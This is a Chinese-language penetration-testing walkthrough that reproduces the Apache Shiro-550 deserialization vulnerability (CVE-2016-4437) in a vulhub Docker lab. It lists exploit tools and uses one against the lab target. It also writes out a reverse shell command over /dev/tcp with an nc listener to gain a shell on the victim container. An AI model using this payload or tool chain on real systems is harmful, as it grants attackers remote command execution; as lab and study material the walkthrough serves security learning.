1. 程式人生 > 實用技巧 >滲透測試--shiro-550漏洞復現(CVE-2016-4437)

滲透測試--shiro-550漏洞復現(CVE-2016-4437)

漏洞概述

Apache Shiro 1.2.4及以前版本中,加密的使用者資訊序列化後儲存在名為remember-me的Cookie中。攻擊者可以使用Shiro的預設金鑰偽造使用者Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令。

影響範圍

Apache Shiro版本<=1.2.4

參考手冊:

https://www.pythonheidong.com/blog/article/277786/ https://www.cnblogs.com/paperpen/p/11312671.html https://github.com/feihong-cs/ShiroExploit https://github.com/feihong-cs/Java-Rce-Echo
http://www.vuln.cn/6295 https://vulhub.org/ https://blog.csdn.net/insightglacier/article/details/105030035?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-3.channel_param&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-3.channel_param
https://blog.csdn.net/insightglacier/article/details/105030035 https://blog.csdn.net/weixin_38307489/article/details/102455710 https://www.zhaosimeng.cn/ldbk/131.html https://xz.aliyun.com/t/7950 https://blog.csdn.net/qq_23936389/article/details/107148893
  • 利用鏈詳解
https://www.anquanke.com/post/id/190468
  • 工具
https://github.com/wyzxxz/shiro_rce
https://github.com/zhzyker/exphub

漏洞復現(當對漏洞瞭解一定原理後,以最快的方式復現)

一.使用vulhub起shiro對應環境(搭建環境可以看我上一篇vulhub搭建步驟

(1)

(2)進入CVE-2016-4437 目錄

(3)執行 docker-compose up -d (初次執行需要載入一系列檔案)

(4)docker ps 檢視對應的埠

(5)輸入虛擬機器的ip地址+埠

xxxx.xxx.xxx.xxx:8080

(6)https://github.com/wyzxxz/shiro_rce下載shiro_rce工具包

(7)解壓出來後執行工具

java -jar shiro_tool.jar https://xx.xx.xx.xx

(8)工具開啟成功,執行命令

這裡輸入對應的dnslog地址

dnslog也可以稱之為dns帶外查詢,是一種注入姿勢,可以通過查詢相應的dns解析記錄,來獲取我們想要的資料

這裡提供一個線上生產的第三方平臺

http://www.dnslog.cn/

點選get subdomain 獲取對應的地址

輸入完成後 ,enter確認命令,再點選Refresh Record,可以看到對應的解析記錄

(9)再開一臺虛擬機器,用來執行反彈shell,也就是說A是我們的vulhub搭起來環境的虛擬機器,B是我們控制A的虛擬機器,下面XX輸入B的IP地址,8080為對應的監聽埠

但是如果A在Linux系統中 這段程式碼需要base64加密,而WIN不用加密,目前我也正在研究原因是什麼,知道的大佬可以下面評論幫助一下

這裡提供一下base64加密的線上網址:http://www.jackson-t.ca/runtime-exec-payloads.html

 輸入以下命令:bash -i >& /dev/tcp/xx.xx.xx.xx/8080 0>&1
base64加密後的結果為

然後再另一臺虛擬機器B 開啟監聽埠 8080

命令為:nc -l 8080

然後回到工具命令列:輸入加密後base64命令:

最後回到虛擬機器 B 會看到以下結果:

成功拿到反彈shell

這時候輸入命令 檢視受害機A的Docker容器下的檔案